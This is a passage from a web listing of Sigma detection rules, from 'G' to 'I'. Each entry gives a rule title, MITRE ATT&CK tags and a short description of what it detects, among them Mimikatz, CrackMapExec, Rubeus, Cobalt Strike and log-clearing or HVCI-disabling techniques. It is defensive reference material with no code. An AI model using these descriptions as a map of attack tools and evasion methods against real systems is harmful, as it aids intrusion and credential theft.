Detects the execution of whoami.exe with the /group command line flag to show group membership for the current user, account type, security identifiers (SID), and attributes.

Read More
Guacamole Two Users Sharing Session Anomaly

Aug 12, 2024 · attack.credential-access attack.t1212 ·
Share on:

Detects suspicious session with two users present

Read More
Guest Account Enabled Via Sysadminctl

Aug 12, 2024 · attack.initial-access attack.t1078 attack.t1078.001 ·
Share on:

Detects attempts to enable the guest account using the sysadminctl utility

Read More
Guest User Invited By Non Approved Inviters

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.t1078.004 ·
Share on:

Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.

Read More
Guest Users Invited To Tenant By Non Approved Inviters

Aug 12, 2024 · attack.initial-access attack.t1078 ·
Share on:

Detects guest users being invited to tenant by non-approved inviters

Read More
GUI Input Capture - macOS

Aug 12, 2024 · attack.credential-access attack.t1056.002 ·
Share on:

Detects attempts to use system dialog prompts to capture user credentials

Read More
Gzip Archive Decode Via PowerShell

Aug 12, 2024 · attack.command-and-control attack.t1132.001 ·
Share on:

Detects attempts of decoding encoded Gzip archives via PowerShell.

Read More
Hack Tool User Agent

Aug 12, 2024 · attack.initial-access attack.t1190 attack.credential-access attack.t1110 ·
Share on:

Detects suspicious user agent strings user by hack tools in proxy logs

Read More
HackTool - ADCSPwn Execution

Aug 12, 2024 · attack.credential-access attack.t1557.001 ·
Share on:

Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service

Read More
HackTool - BabyShark Agent Default URL Pattern

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects Baby Shark C2 Framework default communication patterns

Read More
HackTool - Bloodhound/Sharphound Execution

Aug 12, 2024 · attack.discovery attack.t1087.001 attack.t1087.002 attack.t1482 attack.t1069.001 attack.t1069.002 attack.execution attack.t1059.001 ·
Share on:

Detects command line parameters used by Bloodhound and Sharphound hack tools

Read More
HackTool - CACTUSTORCH Remote Thread Creation

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1055.012 attack.t1059.005 attack.t1059.007 attack.t1218.005 ·
Share on:

Detects remote thread creation from CACTUSTORCH as described in references.

Read More
HackTool - Certify Execution

Aug 12, 2024 · attack.discovery attack.credential-access attack.t1649 ·
Share on:

Detects Certify a tool for Active Directory certificate abuse based on PE metadata characteristics and common command line arguments.

Read More
HackTool - CobaltStrike BOF Injection Pattern

Aug 12, 2024 · attack.execution attack.t1106 attack.defense-evasion attack.t1562.001 ·
Share on:

Detects a typical pattern of a CobaltStrike BOF which inject into other processes

Read More
HackTool - CobaltStrike Malleable Profile Patterns - Proxy

Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.t1071.001 ·
Share on:

Detects cobalt strike malleable profiles patterns (URI, User-Agents, Methods).

Read More
HackTool - Covenant PowerShell Launcher

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1059.001 attack.t1564.003 ·
Share on:

Detects suspicious command lines used in Covenant luanchers

Read More
HackTool - CrackMapExec Execution

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.credential-access attack.discovery attack.t1047 attack.t1053 attack.t1059.003 attack.t1059.001 attack.t1110 attack.t1201 ·
Share on:

This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.

Read More
HackTool - CrackMapExec Execution Patterns

Aug 12, 2024 · attack.execution attack.t1047 attack.t1053 attack.t1059.003 attack.t1059.001 attack.s0106 ·
Share on:

Detects various execution patterns of the CrackMapExec pentesting framework

Read More
HackTool - CrackMapExec File Indicators

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects file creation events with filename patterns used by CrackMapExec.

Read More
HackTool - CrackMapExec PowerShell Obfuscation

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1027.005 ·
Share on:

The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.

Read More
HackTool - CrackMapExec Process Patterns

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects suspicious process patterns found in logs when CrackMapExec is used

Read More
HackTool - Credential Dumping Tools Named Pipe Created

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.t1003.002 attack.t1003.004 attack.t1003.005 ·
Share on:

Detects well-known credential dumping tools execution via specific named pipe creation

Read More
HackTool - Default PowerSploit/Empire Scheduled Task Creation

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.s0111 attack.g0022 attack.g0060 car.2013-08-001 attack.t1053.005 attack.t1059.001 ·
Share on:

Detects the creation of a schtask via PowerSploit or Empire Default Configuration.

Read More
HackTool - DiagTrackEoP Default Named Pipe

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects creation of default named pipe used by the DiagTrackEoP POC, a tool that abuses "SeImpersonate" privilege.

Read More
HackTool - Dumpert Process Dumper Default File

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects the creation of the default dump file used by Outflank Dumpert tool. A process dumper, which dumps the lsass process memory

Read More
HackTool - Dumpert Process Dumper Execution

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory

Read More
HackTool - Empire PowerShell Launch Parameters

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious powershell command line parameters used in Empire

Read More
HackTool - Empire PowerShell UAC Bypass

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 car.2019-04-001 ·
Share on:

Detects some Empire PowerShell UAC bypass methods

Read More
HackTool - Empire UserAgent URI Combo

Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.t1071.001 ·
Share on:

Detects user agent and URI paths used by empire agents

Read More
HackTool - Evil-WinRm Execution - PowerShell Module

Aug 12, 2024 · attack.lateral-movement ·
Share on:

Detects the execution of Evil-WinRM via PowerShell Module logs by leveraging the hardcoded strings inside the utility.

Read More
HackTool - F-Secure C3 Load by Rundll32

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

F-Secure C3 produces DLLs with a default exported StartNodeRelay function.

Read More
HackTool - HandleKatz Duplicating LSASS Handle

Aug 12, 2024 · attack.execution attack.t1106 attack.defense-evasion attack.t1003.001 ·
Share on:

Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles

Read More
HackTool - Hashcat Password Cracker Execution

Aug 12, 2024 · attack.credential-access attack.t1110.002 ·
Share on:

Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against

Read More
HackTool - Htran/NATBypass Execution

Aug 12, 2024 · attack.command-and-control attack.t1090 attack.s0040 ·
Share on:

Detects executable names or flags used by Htran or Htran-like tools (e.g. NATBypass)

Read More
HackTool - Hydra Password Bruteforce Execution

Aug 12, 2024 · attack.credential-access attack.t1110 attack.t1110.001 ·
Share on:

Detects command line parameters used by Hydra password guessing hack tool

Read More
HackTool - Impacket Tools Execution

Aug 12, 2024 · attack.execution attack.t1557.001 ·
Share on:

Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)

Read More
HackTool - Inveigh Execution

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool

Read More
HackTool - Inveigh Execution Artefacts

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects the presence and execution of Inveigh via dropped artefacts

Read More
HackTool - Jlaive In-Memory Assembly Execution

Aug 12, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects the use of Jlaive to execute assemblies in a copied PowerShell

Read More
HackTool - Koadic Execution

Aug 12, 2024 · attack.execution attack.t1059.003 attack.t1059.005 attack.t1059.007 ·
Share on:

Detects command line parameters used by Koadic hack tool

Read More
HackTool - Koh Default Named Pipe

Aug 12, 2024 · attack.privilege-escalation attack.credential-access attack.t1528 attack.t1134.001 ·
Share on:

Detects creation of default named pipes used by the Koh tool

Read More
HackTool - KrbRelay Execution

Aug 12, 2024 · attack.credential-access attack.t1558.003 ·
Share on:

Detects the use of KrbRelay, a Kerberos relaying tool

Read More
HackTool - KrbRelayUp Execution

Aug 12, 2024 · attack.credential-access attack.t1558.003 attack.lateral-movement attack.t1550.003 ·
Share on:

Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced

Read More
HackTool - LittleCorporal Generated Maldoc Injection

Aug 12, 2024 · attack.execution attack.t1204.002 attack.t1055.003 ·
Share on:

Detects the process injection of a LittleCorporal generated Maldoc.

Read More
HackTool - Mimikatz Execution

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.t1003.002 attack.t1003.004 attack.t1003.005 attack.t1003.006 ·
Share on:

Detection well-known mimikatz command line arguments

Read More
HackTool - Mimikatz Kirbi File Creation

Aug 12, 2024 · attack.credential-access attack.t1558 ·
Share on:

Detects the creation of files created by mimikatz such as ".kirbi", "mimilsa.log", etc.

Read More
HackTool - NPPSpy Hacktool Usage

Aug 12, 2024 · attack.credential-access ·
Share on:

Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file

Read More
HackTool - Potential CobaltStrike Process Injection

Aug 12, 2024 · attack.defense-evasion attack.t1055.001 ·
Share on:

Detects a potential remote threat creation with certain characteristics which are typical for Cobalt Strike beacons

Read More
HackTool - Potential Impacket Lateral Movement Activity

Aug 12, 2024 · attack.execution attack.t1047 attack.lateral-movement attack.t1021.003 ·
Share on:

Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework

Read More
HackTool - Potential Remote Credential Dumping Activity Via CrackMapExec Or Impacket-Secretsdump

Aug 12, 2024 · attack.credential-access attack.t1003 ·
Share on:

Detects default filenames output from the execution of CrackMapExec and Impacket-secretsdump against an endpoint.

Read More
HackTool - PowerTool Execution

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the execution of the tool PowerTool which has the ability to kill a process, delete its process file, unload drivers, and delete the driver files

Read More
HackTool - Powerup Write Hijack DLL

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.defense-evasion attack.t1574.001 ·
Share on:

Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation. In it's default mode, it builds a self deleting .bat file which executes malicious command. The detection rule relies on creation of the malicious bat file (debug.bat by default).

Read More
HackTool - PurpleSharp Execution

Aug 12, 2024 · attack.t1587 attack.resource-development ·
Share on:

Detects the execution of the PurpleSharp adversary simulation tool

Read More
HackTool - Pypykatz Credentials Dumping Activity

Aug 12, 2024 · attack.credential-access attack.t1003.002 ·
Share on:

Detects the usage of "pypykatz" to obtain stored credentials. Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database through Windows registry where the SAM database is stored

Read More
HackTool - Quarks PwDump Execution

Aug 12, 2024 · attack.credential-access attack.t1003.002 ·
Share on:

Detects usage of the Quarks PwDump tool via commandline arguments

Read More
HackTool - QuarksPwDump Dump File

Aug 12, 2024 · attack.credential-access attack.t1003.002 ·
Share on:

Detects a dump file written by QuarksPwDump password dumper

Read More
HackTool - RedMimicry Winnti Playbook Execution

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1106 attack.t1059.003 attack.t1218.011 ·
Share on:

Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility

Read More
HackTool - RemoteKrbRelay Execution

Aug 12, 2024 · attack.credential-access attack.t1558.003 ·
Share on:

Detects the use of RemoteKrbRelay, a Kerberos relaying tool via CommandLine flags and PE metadata.

Read More
HackTool - RemoteKrbRelay SMB Relay Secrets Dump Module Indicators

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects the creation of file with specific names used by RemoteKrbRelay SMB Relay attack module.

Read More
HackTool - Rubeus Execution

Aug 12, 2024 · attack.credential-access attack.t1003 attack.t1558.003 attack.lateral-movement attack.t1550.003 ·
Share on:

Detects the execution of the hacktool Rubeus via PE information of command line parameters

Read More
HackTool - Rubeus Execution - ScriptBlock

Aug 12, 2024 · attack.credential-access attack.t1003 attack.t1558.003 attack.lateral-movement attack.t1550.003 ·
Share on:

Detects the execution of the hacktool Rubeus using specific command line flags

Read More
HackTool - SafetyKatz Dump Indicator

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects default lsass dump filename generated by SafetyKatz.

Read More
HackTool - SafetyKatz Execution

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects the execution of the hacktool SafetyKatz via PE information and default Image name

Read More
HackTool - SecurityXploded Execution

Aug 12, 2024 · attack.credential-access attack.t1555 ·
Share on:

Detects the execution of SecurityXploded Tools

Read More
HackTool - SharpChisel Execution

Aug 12, 2024 · attack.command-and-control attack.t1090.001 ·
Share on:

Detects usage of the Sharp Chisel via the commandline arguments

Read More
HackTool - SharpDPAPI Execution

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1134.001 attack.t1134.003 ·
Share on:

Detects the execution of the SharpDPAPI tool based on CommandLine flags and PE metadata. SharpDPAPI is a C# port of some DPAPI functionality from the Mimikatz project.

Read More
HackTool - SharPersist Execution

Aug 12, 2024 · attack.persistence attack.t1053 ·
Share on:

Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms

Read More
HackTool - SharpEvtMute Execution

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Detects the use of SharpEvtHook, a tool that tampers with the Windows event logs

Read More
HackTool - SharpImpersonation Execution

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1134.001 attack.t1134.003 ·
Share on:

Detects execution of the SharpImpersonation tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively

Read More
HackTool - SharpLDAPmonitor Execution

Aug 12, 2024 · attack.discovery ·
Share on:

Detects execution of the SharpLDAPmonitor. Which can monitor the creation, deletion and changes to LDAP objects.

Read More
HackTool - SharpLdapWhoami Execution

Aug 12, 2024 · attack.discovery attack.t1033 car.2016-03-001 ·
Share on:

Detects SharpLdapWhoami, a whoami alternative that queries the LDAP service on a domain controller

Read More
HackTool - SharpUp PrivEsc Tool Execution

Aug 12, 2024 · attack.privilege-escalation attack.t1615 attack.t1569.002 attack.t1574.005 ·
Share on:

Detects the use of SharpUp, a tool for local privilege escalation

Read More
HackTool - SharpView Execution

Aug 12, 2024 · attack.discovery attack.t1049 attack.t1069.002 attack.t1482 attack.t1135 attack.t1033 ·
Share on:

Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems

Read More
HackTool - SILENTTRINITY Stager DLL Load

Aug 12, 2024 · attack.command-and-control attack.t1071 ·
Share on:

Detects SILENTTRINITY stager dll loading activity

Read More
HackTool - SILENTTRINITY Stager Execution

Aug 12, 2024 · attack.command-and-control attack.t1071 ·
Share on:

Detects SILENTTRINITY stager use via PE metadata

Read More
HackTool - Sliver C2 Implant Activity Pattern

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects process activity patterns as seen being used by Sliver C2 framework implants

Read More
HackTool - SysmonEnte Execution

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon

Read More
HackTool - TruffleSnout Execution

Aug 12, 2024 · attack.discovery attack.t1482 ·
Share on:

Detects the use of TruffleSnout.exe an iterative AD discovery toolkit for offensive operators, situational awareness and targeted low noise enumeration.

Read More
HackTool - Typical HiveNightmare SAM File Export

Aug 12, 2024 · attack.credential-access attack.t1552.001 cve.2021-36934 ·
Share on:

Detects files written by the different tools that exploit HiveNightmare

Read More
HackTool - winPEAS Execution

Aug 12, 2024 · attack.privilege-escalation attack.t1082 attack.t1087 attack.t1046 ·
Share on:

WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz

Read More
HackTool - WinRM Access Via Evil-WinRM

Aug 12, 2024 · attack.lateral-movement attack.t1021.006 ·
Share on:

Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

Read More
HackTool - Wmiexec Default Powershell Command

Aug 12, 2024 · attack.defense-evasion attack.lateral-movement ·
Share on:

Detects the execution of PowerShell with a specific flag sequence that is used by the Wmiexec script

Read More
HackTool - XORDump Execution

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1003.001 ·
Share on:

Detects suspicious use of XORDump process memory dumping utility

Read More
Hacktool Execution - PE Metadata

Aug 12, 2024 · attack.credential-access attack.t1588.002 attack.t1003 ·
Share on:

Detects the execution of different Windows based hacktools via PE metadata (company, product, etc.) even if the files have been renamed

Read More
Hacktool Ruler

Aug 12, 2024 · attack.discovery attack.execution attack.t1087 attack.t1114 attack.t1059 attack.t1550.002 ·
Share on:

This events that are generated when using the hacktool Ruler by Sensepost

Read More
HackTool Service Registration or Execution

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects installation or execution of services

Read More
HAFNIUM Exchange Exploitation Activity

Aug 12, 2024 · attack.persistence attack.t1546 attack.t1053 attack.g0125 detection.emerging-threats ·
Share on:

Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers

Read More
Hardware Model Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 car.2016-03-002 ·
Share on:

Detects the execution of WMIC with the "csproduct" which is used to obtain information such as hardware models and vendor information

Read More
Harvesting Of Wifi Credentials Via Netsh.EXE

Aug 12, 2024 · attack.discovery attack.credential-access attack.t1040 ·
Share on:

Detect the harvesting of wifi credentials using netsh.exe

Read More
Hermetic Wiper TG Process Patterns

Aug 12, 2024 · attack.execution attack.lateral-movement attack.t1021.001 detection.emerging-threats ·
Share on:

Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022

Read More
HH.EXE Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218.001 ·
Share on:

Detects the execution of "hh.exe" to open ".chm" files.

Read More
Hidden Executable In NTFS Alternate Data Stream

Aug 12, 2024 · attack.defense-evasion attack.s0139 attack.t1564.004 ·
Share on:

Detects the creation of an ADS (Alternate Data Stream) that contains an executable by looking at a non-empty Imphash

Read More
Hidden Files and Directories

Aug 12, 2024 · attack.defense-evasion attack.t1564.001 ·
Share on:

Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character

Read More
Hidden Local User Creation

Aug 12, 2024 · attack.persistence attack.t1136.001 ·
Share on:

Detects the creation of a local hidden user account which should not happen for event ID 4720.

Read More
Hidden Powershell in Link File Pattern

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects events that appear when a user click on a link file with a powershell command in it

Read More
Hidden User Creation

Aug 12, 2024 · attack.defense-evasion attack.t1564.002 ·
Share on:

Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option

Read More
Hide Schedule Task Via Index Value Tamper

Aug 12, 2024 · attack.defense-evasion attack.t1562 ·
Share on:

Detects when the "index" value of a scheduled task is modified from the registry Which effectively hides it from any tooling such as "schtasks /query" (Read the referenced link for more information about the effects of this technique)

Read More
Hiding Files with Attrib.exe

Aug 12, 2024 · attack.defense-evasion attack.t1564.001 ·
Share on:

Detects usage of attrib.exe to hide files from users.

Read More
Hijack Legit RDP Session to Move Laterally

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder

Read More
History File Deletion

Aug 12, 2024 · attack.impact attack.t1565.001 ·
Share on:

Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity

Read More
Host Without Firewall

Aug 12, 2024 ·
Share on:

Host Without Firewall. Alert means not complied. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.

Read More
HTML Help HH.EXE Suspicious Child Process

Aug 12, 2024 · attack.defense-evasion attack.execution attack.initial-access attack.t1047 attack.t1059.001 attack.t1059.003 attack.t1059.005 attack.t1059.007 attack.t1218 attack.t1218.001 attack.t1218.010 attack.t1218.011 attack.t1566 attack.t1566.001 ·
Share on:

Detects a suspicious child process of a Microsoft HTML Help (HH.exe)

Read More
HTTP Request With Empty User Agent

Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.t1071.001 ·
Share on:

Detects a potentially suspicious empty user agent strings in proxy log. Could potentially indicate an uncommon request method.

Read More
Huawei BGP Authentication Failures

Aug 12, 2024 · attack.initial-access attack.persistence attack.privilege-escalation attack.defense-evasion attack.credential-access attack.collection attack.t1078 attack.t1110 attack.t1557 ·
Share on:

Detects BGP failures which may be indicative of brute force attacks to manipulate routing.

Read More
HybridConnectionManager Service Installation

Aug 12, 2024 · attack.persistence attack.t1554 ·
Share on:

Rule to detect the Hybrid Connection Manager service installation.

Read More
HybridConnectionManager Service Installation - Registry

Aug 12, 2024 · attack.resource-development attack.t1608 ·
Share on:

Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.

Read More
HybridConnectionManager Service Running

Aug 12, 2024 · attack.persistence attack.t1554 ·
Share on:

Rule to detect the Hybrid Connection Manager service running on an endpoint.

Read More
Hypervisor Enforced Code Integrity Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects changes to the HypervisorEnforcedCodeIntegrity registry key and the "Enabled" value being set to 0 in order to disable the Hypervisor Enforced Code Integrity feature. This allows an attacker to load unsigned and untrusted code to be run in the kernel

Read More
Hypervisor Enforced Paging Translation Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects changes to the "DisableHypervisorEnforcedPagingTranslation" registry value. Where the it is set to "1" in order to disable the Hypervisor Enforced Paging Translation feature.

Read More
IcedID Malware Suspicious Single Digit DLL Execution Via Rundll32

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 detection.emerging-threats ·
Share on:

Detects RunDLL32.exe executing a single digit DLL named "1.dll" with the export function "DllRegisterServer". This behaviour was often seen used by malware and especially IcedID

Read More
IE Change Domain Zone

Aug 12, 2024 · attack.persistence attack.t1137 ·
Share on:

Hides the file extension through modification of the registry

Read More
IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.

Read More
IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI

Aug 12, 2024 · attack.execution attack.defense-evasion ·
Share on:

Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.

Read More
Ie4uinit Lolbin Use From Invalid Path

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories

Read More
IIS Native-Code Module Command Line Installation

Aug 12, 2024 · attack.persistence attack.t1505.003 ·
Share on:

Detects suspicious IIS native-code module installations via command line

Read More
IIS WebServer Access Logs Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·
Share on:

Detects the deletion of IIS WebServer access logs which may indicate an attempt to destroy forensic evidence

Read More
ImagingDevices Unusual Parent/Child Processes

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) process as seen being used with Bumblebee activity

Read More
Impacket PsExec Execution

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

Detects execution of Impacket's psexec.py.

Read More
Import LDAP Data Interchange Format File Via Ldifde.EXE

Aug 12, 2024 · attack.command-and-control attack.defense-evasion attack.t1218 attack.t1105 ·
Share on:

Detects the execution of "Ldifde.exe" with the import flag "-i". The can be abused to include HTTP-based arguments which will allow the arbitrary download of files from a remote server.

Read More
Import PowerShell Modules From Suspicious Directories

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects powershell scripts that import modules from suspicious directories

Read More
Import PowerShell Modules From Suspicious Directories - ProcCreation

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects powershell scripts that import modules from suspicious directories

Read More
Important Scheduled Task Deleted

Aug 12, 2024 · attack.impact attack.t1489 ·
Share on:

Detects when adversaries try to stop system services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities

Read More
Important Scheduled Task Deleted/Disabled

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.persistence attack.t1053.005 ·
Share on:

Detects when adversaries stop services or processes by deleting or disabling their respective scheduled tasks in order to conduct data destructive activities

Read More
Important Windows Event Auditing Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Detects scenarios where system auditing for important events such as "Process Creation" or "Logon" events is disabled.

Read More
Important Windows Service Terminated Unexpectedly

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects important or interesting Windows services that got terminated unexpectedly.

Read More
Important Windows Service Terminated With Error

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects important or interesting Windows services that got terminated for whatever reason

Read More
Imports Registry Key From a File

Aug 12, 2024 · attack.t1112 attack.defense-evasion ·
Share on:

Detects the import of the specified file to the registry with regedit.exe.

Read More
Imports Registry Key From an ADS

Aug 12, 2024 · attack.t1112 attack.defense-evasion ·
Share on:

Detects the import of a alternate datastream to the registry with regedit.exe.

Read More
Impossible Travel

Aug 12, 2024 · attack.t1078 attack.persistence attack.defense-evasion attack.privilege-escalation attack.initial-access ·
Share on:

Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.

Read More
Increased Failed Authentications Of Any Type

Aug 12, 2024 · attack.defense-evasion attack.t1078 ·
Share on:

Detects when sign-ins increased by 10% or greater.

Read More
Indicator Removal on Host - Clear Mac System Logs

Aug 12, 2024 · attack.defense-evasion attack.t1070.002 ·
Share on:

Detects deletion of local audit logs

Read More
Indirect Command Execution By Program Compatibility Wizard

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.execution ·
Share on:

Detect indirect command execution via Program Compatibility Assistant pcwrun.exe

Read More
Indirect Command Execution From Script File Via Bash.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects execution of Microsoft bash launcher without any flags to execute the content of a bash script directly. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash.

Read More
Indirect Inline Command Execution Via Bash.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects execution of Microsoft bash launcher with the "-c" flag. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash.

Read More
InfDefaultInstall.exe .inf Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.

Read More
Ingress/Egress Security Group Modification

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects when an account makes changes to the ingress or egress rules of a security group. This can indicate that an attacker is attempting to open up new attack vectors in the account, that they are trying to exfiltrate data over the network, or that they are trying to allow machines in that VPC/Subnet to contact a C&C server.

Read More
Insecure Proxy/DOH Transfer Via Curl.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of "curl.exe" with the "insecure" flag over proxy or DOH.

Read More
Insecure Transfer Via Curl.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of "curl.exe" with the "--insecure" flag.

Read More
Insensitive Subfolder Search Via Findstr.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.t1564.004 attack.t1552.001 attack.t1105 ·
Share on:

Detects execution of findstr with the "s" and "i" flags for a "subfolder" and "insensitive" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands.

Read More
Install New Package Via Winget Local Manifest

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe, msi or msix files later.

Read More
Install Root Certificate

Aug 12, 2024 · attack.defense-evasion attack.t1553.004 ·
Share on:

Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s

Read More
Installation of TeamViewer Desktop

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

TeamViewer_Desktop.exe is create during install

Read More
Interactive AT Job

Aug 12, 2024 · attack.privilege-escalation attack.t1053.002 ·
Share on:

Detects an interactive AT job, which may be used as a form of privilege escalation.

Read More
Interactive Bash Suspicious Children

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1059.004 attack.t1036 ·
Share on:

Detects suspicious interactive bash as a parent to rather uncommon child processes

Read More
Interesting Service Enumeration Via Sc.EXE

Aug 12, 2024 · attack.t1003 ·
Share on:

Detects the enumeration and query of interesting and in some cases sensitive services on the system via "sc.exe". Attackers often try to enumerate the services currently running on a system in order to find different attack vectors.

Read More
Internet Explorer Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Read More
Internet Explorer DisableFirstRunCustomize Enabled

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects changes to the Internet Explorer "DisableFirstRunCustomize" value, which prevents Internet Explorer from running the first run wizard the first time a user starts the browser after installing Internet Explorer or Windows.

Read More
Invalid PIM License

Aug 12, 2024 · attack.t1078 attack.persistence attack.privilege-escalation ·
Share on:

Identifies when an organization doesn't have the proper license for PIM and is out of compliance.

Read More
Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)

Aug 12, 2024 · attack.credential-access attack.t1003.003 ·
Share on:

Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)

Read More
Invoke-Obfuscation CLIP+ Launcher

